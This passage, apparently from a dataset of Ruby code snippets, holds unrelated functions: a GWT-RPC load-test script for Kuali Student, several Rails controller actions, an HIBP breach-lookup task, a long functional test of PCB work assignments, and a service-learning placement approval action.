|12|8|164|14|165|8|30|14|166|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3498775596|1309965025280|876000000|8|40|14|59|8|41|38|39|3498792455|1309965025280|735000000|8|42|14|167|-619|-625|8|44|14|65|8|168|17|5|6|7|0|1|18|-15|14|128|-619|-643|8|169|14|170|8|171|17|5|6|7|0|0|-619|-651|8|172|17|5|6|7|0|0|-619|-655|8|173|14|174|8|46|14|175|8|48|14|176|8|177|14|178|-1|-617|8|179|17|5|6|7|0|1|8|180|17|5|6|7|0|0|-669|-671|-1|-667|0|0|\"\n end\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CreditCourseProposalRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"#{contents1}#{contents2}#{contents3}\"\n },\n {\n 'subst' => 'true'\n }\n )\n\n @request.add_thinktime(5)\n\n\n # Submit to worflow\n if(opts[:submit])\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|submitDocumentWithId|java.lang.String/2004016611|%%_#{opts[:proposal_doc_id_var_name]}%%|1|2|3|4|1|5|6|\"\n },\n {\n 'subst' => 'true'\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|getActionsRequested|java.lang.String/2004016611|%%_#{opts[:proposal_doc_id_var_name]}%%|1|2|3|4|1|5|6|\"\n },\n {\n 'subst' => 'true'\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|getDocumentStatus|java.lang.String/2004016611|%%_#{opts[:proposal_doc_id_var_name]}%%|1|2|3|4|1|5|6|\"\n },\n {\n 'subst' => 'true'\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/ProposalRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|12BDE6C2DA6A7CF74BE0FBF074E806E1|org.kuali.student.core.proposal.ui.client.service.ProposalRpcService|getProposalByWorkflowId|java.lang.String/2004016611|%%_#{opts[:proposal_doc_id_var_name]}%%|1|2|3|4|1|5|6|\"\n },\n {\n 'subst' => 'true'\n }\n )\n \n end\n \n \n end",
"def create\n=begin\n params[:short_term_goal][:tasks] = Array.new\n tasks_array = Array.new\n if params[:task]\n params[:task].each do |num,task| \n tasks_array[Integer(num)] = task if task != ''\n end\n end\n tasks_array.each do |task|\n params[:short_term_goal][:tasks] << Task.create(:name => task) if task != nil\n end\n=end\n @short_term_goal = ShortTermGoal.new(params[:short_term_goal])\n respond_to do |format|\n if @short_term_goal.save\n format.html { redirect_to(myguide_path(@current_user), :notice => 'Short term goal was successfully created.') }\n format.xml { render :xml => @short_term_goal, :status => :created, :location => @short_term_goal }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @short_term_goal.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_assignment\n @assignment = machine_octokit.repo(\"#{course_org_name}/#{params[:id]}\")\n end",
"def tasks\n @use_case = UseCase.find(params[:id])\n @project = @use_case.project\n respond_to do |format|\n format.html \n end\n end",
"def call_assignment(node)\n if [\"save\", \"save!\"].include? node.message.to_s\n subject = node.subject.to_s\n add_error \"use model association (for #{subject})\" if @assignments[subject]\n end\n end",
"def run\n super\n\n email_address = _get_entity_name\n\n @api_key = _get_task_config(\"hibp_api_key\")\n unless @api_key\n _log_error \"unable to proceed, no API key for HIBP provided\"\n return\n end\n\n _search_pastes_and_create_issues(email_address) if _get_option(\"search_pastes\")\n _search_breaches_and_create_issues(email_address) if _get_option(\"search_breaches\")\n end",
"def set_exercise_task\n @exercise_task = ExerciseTask.find(params[:id])\n end",
"def addTaskToProject(taskid,projectid)\n task = getTaskByID(taskid) \n project = getProjectByID(projectid) \n\n if task != nil and project != nil \n project.addTask(task)\n else\n puts \"Task or project has not been found.\"\n end \n end",
"def test_task_assignment\n \n board_prep_sections = [oi_category_sections(:board_prep_1),\n oi_category_sections(:board_prep_2),\n oi_category_sections(:board_prep_3)]\n section_ids = board_prep_sections.collect { |s| s.id }\n team_member_list = [@siva_e]\n \n designer_session = scott_designer_session\n \n \n # Verify that a Teradyne PCB Designer can access the list\n # \n # Section Selection - Other\n get(:section_selection,\n { :id => @other.id, :design_id => @mx234a.id },\n designer_session) \n assert_redirected_to(:action => :process_assignments,\n :category_id => @other.id,\n :design_id => @mx234a.id,\n :section_id => OiCategory.other_category_section_id)\n \n # Section Selection - Board Prep\n get(:section_selection,\n {:id => @board_prep.id, :design_id => @mx234a.id }, \n designer_session)\n assert_equal(board_prep_sections, assigns(:sections))\n assert_equal(0, assigns(:section_id))\n \n # Process Assignments - No step selected\n post(:process_assignments,\n { :design => { :id => @mx234a.id },\n :category => { :id => @board_prep.id } },\n designer_session)\n #assert_equal(\"Please select the step\", flash['notice'])\n assert_nil(flash[:assignment])\n assert_redirected_to(:action => 'section_selection',\n :id => @board_prep.id,\n :design_id => @mx234a.id)\n \n \n # Process Assignments - No errors\n post(:process_assignments,\n { :section_id => oi_category_sections(:board_prep_1).id,\n :design => { :id => @mx234a.id },\n :category => { :id => @board_prep.id } },\n designer_session)\n assert_equal(@mx234a.id, assigns(:design).id)\n assert_equal(@board_prep.id, assigns(:category).id)\n \n lcr_team_members = assigns(:team_members)\n expected_team_members = [@siva_e, @mathi_n] \n assert_equal(expected_team_members, lcr_team_members)\n \n assert_equal(oi_category_sections(:board_prep_1).id,\n assigns(:selected_step).id)\n \n instruction = assigns(:instruction)\n assert_equal(@board_prep.id, instruction.oi_category_section_id)\n assert_equal(@mx234a.id, instruction.design_id)\n \n assignment = assigns(:assignment)\n assert_equal((Time.now+1.day).year, assignment.due_date.year)\n assert_equal((Time.now+1.day).month, assignment.due_date.month)\n assert_equal((Time.now+1.day).day, assignment.due_date.day)\n assert_equal(OiAssignment.complexity_id('Low'), assignment.complexity_id)\n \n assert_not_nil(assigns(:comment))\n \n assert(!assigns(:selected_step).outline_drawing_link?)\n \n allegro_board_symbol = '10987654321'\n assignment_comment = 'This is a test'\n medium_complexity_id = OiAssignment.complexity_id('Medium')\n due_date = Time.local(2007, \"May\", 1)\n \n # Process Assignment Details - No allegro board symbol provided.\n post(:process_assignment_details,\n { :category => { :id => @board_prep.id },\n :design => { :id => @mx234a.id },\n :comment => { :comment => assignment_comment},\n :instruction => { :oi_category_section_id => board_prep_sections[0].id.to_s },\n :assignment => { :complexity_id => medium_complexity_id,\n \"due_date(1i)\" => \"2007\",\n \"due_date(2i)\" => \"5\",\n \"due_date(3i)\" => \"1\" },\n :team_member => { \"5004\" => '1', \"5005\" => '1' } },\n designer_session,\n {:assignment => {:instruction => \"\",\n :member_selections => \"\",\n :comment => \"\",\n :assignment => \"\"\n } }\n )\n #assert_equal('Please identify the Allegro Board Symbol', flash['notice'])\n #assert_not_nil(flash[:assignment])\n assignment = flash[:assignment]\n \n #assert_equal(medium_complexity_id, assignment[:assignment].complexity_id)\n #assert_equal(due_date.to_i, assignment[:assignment].due_date.to_i)\n \n #assert_not_nil(assignment[:design])\n #assert_equal(@mx234a.id, assignment[:design].id)\n #flash[:assignment][:design].name = 'abc'\n \n #assert_not_nil(assignment[:selected_step])\n #assert_equal(board_prep_sections[0].id, assignment[:selected_step].id)\n \n #assert_not_nil(assignment[:instruction])\n #assert_equal(board_prep_sections[0].id,\n # assignment[:instruction].oi_category_section_id)\n \n #assert_not_nil(assignment[:member_selections])\n #assert_equal({ \"5004\" => '1', \"5005\" => '1' }, assignment[:member_selections])\n \n #assert_not_nil(assignment[:team_members])\n #assert_equal([@siva_e, @mathi_n], assignment[:team_members])\n \n #assert_not_nil(assignment[:comment])\n #assert_equal(assignment_comment, assignment[:comment].comment )\n \n assert_redirected_to(:action => 'process_assignments',\n :category_id => @board_prep.id,\n :design_id => @mx234a.id)\nreturn \n follow_redirect!\n \n #Verify that the variable where loaded from the flash.\n #assert_equal(assignment[:design], assigns(:design)) \n #assert_equal(assignment[:category], assigns(:category))\n #assert_equal(assignment[:team_members], assigns(:team_members))\n #assert_equal(assignment[:selected_step], assigns(:selected_step))\n #assert_equal(assignment[:instruction], assigns(:instruction))\n #assert_equal(assignment[:assignment], assigns(:assignment))\n #assert_equal(assignment[:comment], assigns(:comment))\n #assert_not_nil(flash[:assignment])\n #assert_nil(assigns(:outline_drawing))\n \n \n # Process Assignment Details - No team members identified.\n post(:process_assignment_details,\n :category => { :id => @board_prep.id },\n :design => { :id => @mx234a.id },\n :comment => { :comment => assignment_comment},\n :instruction => { :oi_category_section_id => board_prep_sections[0].id.to_s,\n :allegro_board_symbol => allegro_board_symbol },\n :assignment => { :complexity_id => medium_complexity_id,\n \"due_date(1i)\" => \"2007\",\n \"due_date(2i)\" => \"5\",\n \"due_date(3i)\" => \"1\" },\n :team_member => { \"5004\" => '0', \"5005\" => '0' })\n\n assert_equal('Please select a team member or members', flash['notice'])\n assert_not_nil(flash[:assignment])\n assignment = flash[:assignment]\n \n assert_equal(medium_complexity_id, assignment[:assignment].complexity_id)\n assert_equal(due_date.to_i, assignment[:assignment].due_date.to_i)\n \n assert_not_nil(assignment[:design])\n assert_equal(@mx234a.id, assignment[:design].id)\n flash[:assignment][:design].name = 'abc'\n \n assert_not_nil(assignment[:selected_step])\n assert_equal(board_prep_sections[0].id, assignment[:selected_step].id)\n \n assert_not_nil(assignment[:instruction])\n assert_equal(board_prep_sections[0].id,\n assignment[:instruction].oi_category_section_id)\n \n assert_not_nil(assignment[:member_selections])\n assert_equal({ \"5004\" => '0', \"5005\" => '0' }, assignment[:member_selections])\n \n assert_not_nil(assignment[:team_members])\n assert_equal([@siva_e, @mathi_n], assignment[:team_members])\n \n assert_not_nil(assignment[:comment])\n assert_equal(assignment_comment, assignment[:comment].comment )\n \n assert_redirected_to(:action => 'process_assignments',\n :category_id => @board_prep.id,\n :design_id => @mx234a.id)\n \n follow_redirect\n \n #Verify that the variable where loaded from the flash.\n assert_equal(assignment[:design], assigns(:design)) \n assert_equal(assignment[:category], assigns(:category))\n assert_equal(assignment[:team_members], assigns(:team_members))\n assert_equal(assignment[:selected_step], assigns(:selected_step))\n assert_equal(assignment[:instruction], assigns(:instruction))\n assert_equal(assignment[:assignment], assigns(:assignment))\n assert_equal(assignment[:comment], assigns(:comment))\n assert_not_nil(flash[:assignment])\n assert_nil(assigns(:outline_drawing))\n \n section_selections = {}\n section_ids.each { |id| section_selections[id.to_s] = '0' }\n\n # Process Assignment Details - No team members identified and no allegro board symbol\n # provided.\n post(:process_assignment_details,\n :category => { :id => @board_prep.id },\n :design => { :id => @mx234a.id },\n :comment => { :comment => assignment_comment},\n :instruction => { :oi_category_section_id => board_prep_sections[0].id.to_s },\n :assignment => { :complexity_id => medium_complexity_id,\n \"due_date(1i)\" => \"2007\",\n \"due_date(2i)\" => \"5\",\n \"due_date(3i)\" => \"1\" },\n :team_member => { \"5004\" => '0', \"5005\" => '0' })\n\n assert_equal('Please identify the Allegro Board Symbol<br />' +\n 'Please select a team member or members', \n flash['notice'])\n assert_not_nil(flash[:assignment])\n assignment = flash[:assignment]\n \n assert_equal(medium_complexity_id, assignment[:assignment].complexity_id)\n assert_equal(due_date.to_i, assignment[:assignment].due_date.to_i)\n \n assert_not_nil(assignment[:design])\n assert_equal(@mx234a.id, assignment[:design].id)\n flash[:assignment][:design].name = 'abc'\n \n assert_not_nil(assignment[:selected_step])\n assert_equal(board_prep_sections[0].id, assignment[:selected_step].id)\n \n assert_not_nil(assignment[:instruction])\n assert_equal(board_prep_sections[0].id,\n assignment[:instruction].oi_category_section_id)\n \n assert_not_nil(assignment[:member_selections])\n assert_equal({ \"5004\" => '0', \"5005\" => '0' }, assignment[:member_selections])\n \n assert_not_nil(assignment[:team_members])\n assert_equal([@siva_e, @mathi_n], assignment[:team_members])\n \n assert_not_nil(assignment[:comment])\n assert_equal(assignment_comment, assignment[:comment].comment )\n \n assert_redirected_to(:action => 'process_assignments',\n :category_id => @board_prep.id,\n :design_id => @mx234a.id)\n \n follow_redirect\n \n #Verify that the variable where loaded from the flash.\n assert_equal(assignment[:design], assigns(:design)) \n assert_equal(assignment[:category], assigns(:category))\n assert_equal(assignment[:team_members], assigns(:team_members))\n assert_equal(assignment[:selected_step], assigns(:selected_step))\n assert_equal(assignment[:instruction], assigns(:instruction))\n assert_equal(assignment[:assignment], assigns(:assignment))\n assert_equal(assignment[:comment], assigns(:comment))\n assert_not_nil(flash[:assignment])\n assert_nil(assigns(:outline_drawing))\n\n instruction_count = OiInstruction.count\n assignment_count = OiAssignment.count\n assignment_comment_count = OiAssignmentComment.count\n \n \n post(:view_assignments,\n :id => @board_prep.id,\n :design_id => @mx234a.id)\n \n assert_response(:success)\n assert_equal(@mx234a.id, assigns(:design).id)\n assert_equal(0, assigns(:assignment_list).size)\n \n\n # Process Assignment Details - No errors\n post(:process_assignment_details,\n :category => { :id => @board_prep.id },\n :design => { :id => @mx234a.id },\n :comment => { :comment => assignment_comment},\n :instruction => { :oi_category_section_id => board_prep_sections[0].id.to_s,\n :allegro_board_symbol => allegro_board_symbol },\n :assignment => { :complexity_id => medium_complexity_id,\n \"due_date(1i)\" => \"2007\",\n \"due_date(2i)\" => \"5\",\n \"due_date(3i)\" => \"1\" },\n :team_member => { \"5004\" => '1', \"5005\" => '1' })\n\n assert_equal('The work assignments have been recorded - mail was sent',\n flash['notice'])\n assert_nil(flash[:assignment])\n\n assert_redirected_to(:action => 'oi_category_selection',\n :design_id => @mx234a.id)\n \n \n assert_equal(instruction_count+1, OiInstruction.count)\n instructions = OiInstruction.find(:all)\n last_instruction = instructions.pop\n assert_equal(@scott_g.id, last_instruction.user_id)\n assert_equal(allegro_board_symbol, last_instruction.allegro_board_symbol)\n assert_equal(board_prep_sections[0].id, last_instruction.oi_category_section_id)\n \n assert_equal(assignment_count+2, OiAssignment.count)\n assignments = OiAssignment.find(:all)\n mathi_assignment = assignments.pop\n siva_assignment = assignments.pop\n \n assert(!siva_assignment.complete?)\n assert_equal(@siva_e.id, siva_assignment.user_id)\n assert_equal(last_instruction.id, siva_assignment.oi_instruction_id)\n assert_equal(due_date.to_i, siva_assignment.due_date.to_i)\n assert_equal(medium_complexity_id, siva_assignment.complexity_id)\n\n assert(!mathi_assignment.complete?)\n assert_equal(@mathi_n.id, mathi_assignment.user_id)\n assert_equal(last_instruction.id, mathi_assignment.oi_instruction_id)\n assert_equal(due_date.to_i, mathi_assignment.due_date.to_i)\n assert_equal(medium_complexity_id, mathi_assignment.complexity_id)\n \n assert_equal(assignment_comment_count+2, OiAssignmentComment.count)\n assignment_comments = OiAssignmentComment.find(:all)\n mathi_comment = assignment_comments.pop\n siva_comment = assignment_comments.pop\n \n assert_equal(siva_assignment.id, siva_comment.oi_assignment_id)\n assert_equal(@scott_g.id, siva_comment.user_id)\n assert_equal(assignment_comment, siva_comment.comment)\n \n assert_equal(mathi_assignment.id, mathi_comment.oi_assignment_id)\n assert_equal(@scott_g.id, mathi_comment.user_id)\n assert_equal(assignment_comment, mathi_comment.comment)\n \n\n # Try accessing from an account that is not a PCB Designer and\n # verify that the user is redirected.\n set_user(@pat_a.id, 'Product Support')\n post(:process_assignment_details)\n \n assert_redirected_to(:controller => 'tracker', :action => 'index')\n assert_equal(\"You are not authorized to access this page\", flash['notice'])\n \n\n # Verify that a contractor PCB Designer can not access the list.\n set_user(@siva_e.id, 'Designer')\n post(:process_assignment_details)\n \n assert_redirected_to(:controller => 'tracker', :action => 'index')\n assert_equal(\"You are not authorized to access this page\", flash['notice'])\n\n # Verify the email that was generated\n expected_to = [ [ @siva_e.email ].sort,\n [ @mathi_n.email ].sort,\n [ @siva_e.email, @mathi_n.email ].sort ]\n \n expected_cc_list = [@scott_g.email,\n @jim_l.email, \n @jan_k.email,\n users(:bala_g).email,\n @cathy_m.email].sort\n \n assert_equal(2, @emails.size) \n mathi_email = @emails.pop\n siva_email = @emails.pop\n \n assert_equal(1, siva_email.to.size)\n assert_equal(@siva_e.email, siva_email.to.pop)\n assert_equal(expected_cc_list, siva_email.cc.sort)\n assert_equal('Catalyst/AC/(pcb252_234_a0_g): Work Assignment created',\n siva_email.subject)\n\n assert_equal(1, mathi_email.to.size)\n assert_equal(@mathi_n.email, mathi_email.to.pop)\n assert_equal(expected_cc_list, mathi_email.cc.sort)\n assert_equal('Catalyst/AC/(pcb252_234_a0_g): Work Assignment created', \n mathi_email.subject)\n\n # Verify that a user from outside the PCB Group can not \n # access the view_assignments view\n set_user(@pat_a.id, 'Product Support')\n post(:view_assignments)\n \n assert_redirected_to(:controller => 'tracker', :action => 'index')\n assert_equal(\"You are not authorized to access this page\", flash['notice'])\n \n\n # Verify that a contractor PCB Designer can not access the \n # view_assignments view\n set_user(@siva_e.id, 'Designer')\n post(:view_assignments)\n \n assert_redirected_to(:controller => 'tracker', :action => 'index')\n assert_equal(\"You are not authorized to access this page\", flash['notice'])\n\n # Verify that a Teradyne PCB Designer can access the \n # view_assignments view\n set_user(@scott_g.id, 'Designer')\n post(:view_assignments,\n :id => @board_prep.id,\n :design_id => @mx234a.id)\n \n assert_response(:success)\n assert_equal(@mx234a.id, assigns(:design).id)\n \n assignment_list = assigns(:assignment_list)\n assert_equal(1, assignment_list.size)\n \n expected_sections = board_prep_sections.dup\n \n # There is only on category populated\n assignment_list.each do |category, assignments|\n assert_equal(expected_sections.shift.id, category.id)\n assert_equal(2, assignments.size)\n end\n \n # Verify that a user from outside the PCB Group can not \n # access the assignment_view view\n set_user(@pat_a.id, 'Product Support')\n post(:assignment_view)\n \n assert_redirected_to(:controller => 'tracker', :action => 'index')\n assert_equal(\"You are not authorized to access this page\", flash['notice'])\n \n # Verify that a Teradyne PCB Designer can access the \n # the assignment_view view\n set_user(@scott_g.id, 'Designer')\n assignment_id = assignments.pop.id\n post(:assignment_view, :id => assignment_id)\n \n assert_response(:success)\n assert_equal(assignment_id, assigns(:assignment).id)\n assert_equal(@mx234a.id, assigns(:design).id)\n assert_equal(@board_prep.id, assigns(:category).id)\n\n comments = assigns(:comments)\n assert_equal(1, comments.size)\n comment = comments.pop\n assert_equal(assignment_comment, comment.comment)\n \n assert_not_nil(assigns(:post_comment))\n \n \n # Verify that a user from outside the PCB Group can not \n # access the category_details view\n set_user(@pat_a.id, 'Product Support')\n post(:category_details)\n \n assert_redirected_to(:controller => 'tracker', :action => 'index')\n assert_equal(\"You are not authorized to access this page\", flash['notice'])\n \n # Verify that a contractor Team Member can access the \n # category_details view\n set_user(@siva_e.id, 'Designer')\n post(:category_details, :id => @mx234a.id)\n \n assert_response(:success)\n assert_equal(@mx234a.id, assigns(:design).id)\n \n siva_assignments = assigns(:category_list)\n assert_equal(2, siva_assignments.size)\n assert_not_nil(siva_assignments[@board_prep])\n \n assignment_list = siva_assignments[@board_prep]\n assert_equal(1, assignment_list.size)\n assert_not_nil(assignment_list.detect { |a| \n a.oi_instruction.oi_category_section_id == board_prep_sections[0].id }) \n assignment_list.each { |a| assert_equal(@siva_e.id, a.user_id) }\n\n # Verify that a user from outside the PCB Group can not \n # access the assignment_details view\n set_user(@pat_a.id, 'Product Support')\n post(:assignment_details)\n \n assert_redirected_to(:controller => 'tracker', :action => 'index')\n assert_equal(\"You are not authorized to access this page\", flash['notice'])\n \n # Verify that a contractor Team Member can access the \n # category_details view\n set_user(@siva_e.id, 'Designer')\n post(:assignment_details,\n :id => @board_prep.id,\n :design_id => @mx234a.id)\n \n assert_response(:success)\n assert_equal(@mx234a.id, assigns(:design).id)\n assert_equal(@board_prep.id, assigns(:category).id)\n \n section_list = assigns(:section_list)\n assert_equal('Board Preparation', section_list[:category].name)\n assert_equal(1, section_list[:assignment_list].size)\n assert_equal(1, section_list[:assignment_list][0].oi_instruction.oi_category_section_id)\n\n\n # Verify that a user from outside the PCB Group can not \n # update an assignment.\n set_user(@pat_a.id, 'Product Support')\n post(:assignment_update)\n \n assert_redirected_to(:controller => 'tracker', :action => 'index')\n assert_equal(\"You are not authorized to access this page\", flash['notice'])\n\n # Verify that a member of the PCB Design group can \n # update an assignment\n set_user(@siva_e.id, 'Designer')\n \n # Get the instruction with 2 assignments associated with it\n instruction = OiInstruction.find_by_design_id_and_oi_category_section_id(\n @mx234a.id,\n board_prep_sections[0].id)\n\n siva_assignment = instruction.oi_assignments.detect { |a| a.user_id == @siva_e.id }\n mathi_assignment = instruction.oi_assignments.detect { |a| a.user_id == @mathi_n.id }\n\n assert_equal(2, instruction.oi_assignments.size)\n assert_equal(1, siva_assignment.oi_assignment_comments.size)\n assert_equal(0, siva_assignment.complete)\n assert_equal(@siva_e.id, siva_assignment.user_id)\n assert_equal(1, mathi_assignment.oi_assignment_comments.size)\n assert_equal(0, mathi_assignment.complete)\n assert_equal(@mathi_n.id, mathi_assignment.user_id)\n siva_assignment_comment = siva_assignment.oi_assignment_comments.pop\n mathi_assignment_comment = mathi_assignment.oi_assignment_comments.pop\n assert_not_equal(siva_assignment_comment.id, mathi_assignment_comment.id)\n\n\n post(:assignment_update,\n :assignment => siva_assignment,\n :post_comment => {:comment => 'My 2 cents'})\n \n siva_assignment.reload\n mathi_assignment.reload\n\n assert_equal(2, instruction.oi_assignments.size)\n assert_equal(2, siva_assignment.oi_assignment_comments.size)\n assert_equal(0, siva_assignment.complete)\n assert_equal(@siva_e.id, siva_assignment.user_id)\n assert_equal(1, mathi_assignment.oi_assignment_comments.size)\n assert_equal(0, mathi_assignment.complete)\n assert_equal(@mathi_n.id, mathi_assignment.user_id)\n\n cc_list = expected_cc_list.dup + [@siva_e.email] - [@scott_g.email]\n email = @emails.pop\n assert_equal([@scott_g.email], email.to.sort)\n assert_equal(cc_list.sort, email.cc.sort)\n assert_equal('Catalyst/AC/(pcb252_234_a0_g): Work Assignment Update',\n email.subject)\n\n\n post(:assignment_update,\n :assignment => { :id => siva_assignment.id,\n :complete => \"1\"},\n :post_comment => {:comment => 'It is done'})\n \n siva_assignment.reload\n mathi_assignment.reload\n\n assert_equal(2, instruction.oi_assignments.size)\n assert_equal(3, siva_assignment.oi_assignment_comments.size)\n assert_equal(1, siva_assignment.complete)\n assert_equal(@siva_e.id, siva_assignment.user_id)\n assert_equal(1, mathi_assignment.oi_assignment_comments.size)\n assert_equal(0, mathi_assignment.complete)\n assert_equal(@mathi_n.id, mathi_assignment.user_id)\n\n email = @emails.pop\n assert_equal([@scott_g.email], email.to.sort)\n assert_equal(cc_list.sort, email.cc.sort)\n assert_equal('Catalyst/AC/(pcb252_234_a0_g): Work Assignment Update - Completed',\n email.subject)\n \n set_user(@scott_g.id, 'Designer')\n post(:assignment_update,\n :assignment => { :id => siva_assignment.id,\n :complete => \"0\"},\n :post_comment => {:comment => 'My 2 cents'})\n \n siva_assignment.reload\n mathi_assignment.reload\n\n assert_equal(2, instruction.oi_assignments.size)\n assert_equal(4, siva_assignment.oi_assignment_comments.size)\n assert_equal(0, siva_assignment.complete)\n assert_equal(@siva_e.id, siva_assignment.user_id)\n assert_equal(1, mathi_assignment.oi_assignment_comments.size)\n assert_equal(0, mathi_assignment.complete)\n assert_equal(@mathi_n.id, mathi_assignment.user_id)\n\n cc_list = expected_cc_list.dup\n email = @emails.pop\n assert_equal([@siva_e.email], email.to.sort)\n assert_equal(cc_list.sort, email.cc.sort)\n assert_equal('Catalyst/AC/(pcb252_234_a0_g): Work Assignment Update - Reopened',\n email.subject)\n \n end",
"def self_placement_approval\n @self_placement = ServiceLearningSelfPlacement.find params[:id]\n @type_of_self_placement = @self_placement.general_study? ? \"General Study\" : \"Self Placement\"\n # TODO: find a better way to check if new contact \n @is_new_contact = !@self_placement.organization_contact_person.blank? # && @self_placement.position.supervisor.nil? (take this away because student can still input position existing contact while check creating new contact)\n \n session[:breadcrumbs].add @type_of_self_placement, @self_placement.general_study? ? service_learning_general_study_path(@unit, @quarter) : service_learning_self_placements_path(@unit, @quarter)\n session[:breadcrumbs].add \"#{@type_of_self_placement} Approval\"\n \n if request.put?\n \n if params[:commit] == \"Decline\"\n @self_placement.update_attribute(:admin_approved, false)\n @self_placement.update_attribute(:submitted, false)\n @self_placement.update_attribute(:admin_feedback, params[:service_learning_self_placement][:admin_feedback])\n flash[:notice] = \"You successfully declined the position request. The status is back to in progress.\"\n redirect_to :back and return\n end\n \n # For General Study - confirm registered\n if @self_placement.general_study? && !@is_new_contact\n if params[:service_learning_self_placement][:confirm_registered] == \"0\"\n return @self_placement.errors.add_to_base \"Please check the box below to confirm you have completed registering the student.\"\n end\n end \n \n # Activate organization\n if @self_placement.existing_organization?\n organization_quarter = @self_placement.existing_organization.activate_for(@quarter, true, @unit)\n organization = organization_quarter.organization\n else\n # check if the organization name already exists\n unless Organization.find_by_name(@self_placement.organization_name).blank?\n return @self_placement.errors.add_to_base \"The #{@self_placement.organization_name} already exists. Please select with the existing organization.\"\n end\n \n organization = Organization.create(:name => @self_placement.organization_name,\n :mailing_line_1 => @self_placement.organization_mailing_line_1,\n :mailing_line_2 => @self_placement.organization_mailing_line_2,\n :mailing_city => @self_placement.organization_mailing_city,\n :mailing_state => @self_placement.organization_mailing_state,\n :mailing_zip => @self_placement.organization_mailing_zip,\n :website_url => @self_placement.organization_website_url,\n :mission_statement => @self_placement.organization_mission_statement,\n :approved => true\n )\n \n organization_quarter = organization.activate_for(@quarter, true, @unit) \n end\n \n # update status to admin approved after activate organization\n @self_placement.update_attribute(:admin_approved, true) unless @self_placement.general_study? && @is_new_contact\n \n # Activate new contact: 1. existing org and add new contact (only for general study now) 2. new org and new contact \n if (@self_placement.general_study? && @is_new_contact) || !@self_placement.existing_organization? \n contact = organization.contacts.create\n contact_people = Person.find_all_by_email(@self_placement.organization_contact_email)\n \n if contact_people.size == 1 # if find existing person record, then create organization contact with the person record\n contact.update_attribute(:person_id, contact_people.first.id)\n elsif contact_people.size > 1\n flash[:error] = \"Cannot add organization contact.There are more than one person record found with the contact email. Please add the contact manually for #{@self_placement.organization_name}.\"\n else\n contact.create_person(:firstname => @self_placement.organization_contact_person.split.first,\n :lastname => @self_placement.organization_contact_person.split.second,\n :email => @self_placement.organization_contact_email,\n :phone => @self_placement.organization_contact_phone,\n :title => @self_placement.organization_contact_title\n ) \n end\n \n organization.save;contact.save\n @self_placement.update_attribute(:organization_id, organization) unless @self_placement.existing_organization? # mark as existing org\n @self_placement.position.update_attribute(:supervisor_person_id, contact.id)\n\n if @self_placement.general_study?\n supervisor_template = EmailTemplate.find_by_name(\"general study position supervisor approval request\")\n TemplateMailer.deliver(supervisor_template.create_email_to(@self_placement, contact.login_url,\n @self_placement.position.supervisor.person.email)\n ) if supervisor_template\n end\n end\n \n organization_quarter.statuses.find_or_create_by_organization_quarter_status_type_id(OrganizationQuarterStatusType.find_by_title(\"Ready\").id)\n \n if @self_placement.general_study? && @is_new_contact\n flash[:notice] = \"You have successfully activated the organization and created the new contact, #{@self_placement.position.supervisor.person.fullname}.\"\n else\n @self_placement.position.update_attributes(:organization_quarter_id => organization_quarter.id,\n :unit_id => @unit.id,\n :self_placement => !@self_placement.general_study?,\n :general_study => @self_placement.general_study?,\n :in_progress => false,\n :approved => true,\n :ideal_number_of_slots => 1,\n :require_validations => false\n )\n \n ServiceLearningPlacement.transaction do \n placement = ServiceLearningPlacement.create(:service_learning_position_id => @self_placement.service_learning_position_id,\n :service_learning_course_id => @self_placement.service_learning_course_id,\n :created_at => Time.now, \n :unit_id => @unit.id\n ) \n \n if @self_placement.person.place_into(@self_placement.position, @self_placement.course)\n @self_placement.update_attribute(:service_learning_placement_id, placement.id) if placement\n flash[:notice] = \"You successfully approved the position and place #{@self_placement.person.fullname} into a #{@type_of_self_placement.downcase}.\"\n else\n flash[:error] = \"You have activated the organization but something went wrong when placing the student into #{@type_of_self_placement.downcase}\"\n raise ActiveRecord::Rollback\n end \n end # end transaction\n \n @self_placement.update_attributes(:registered_at => Time.now, :register_person_id => @current_user.person.id) if @self_placement.general_study? \n end\n \n redirect_to :action => @self_placement.general_study? ? \"general_study\" : \"self_placements\"\n end # end of request.put? \n \n end",
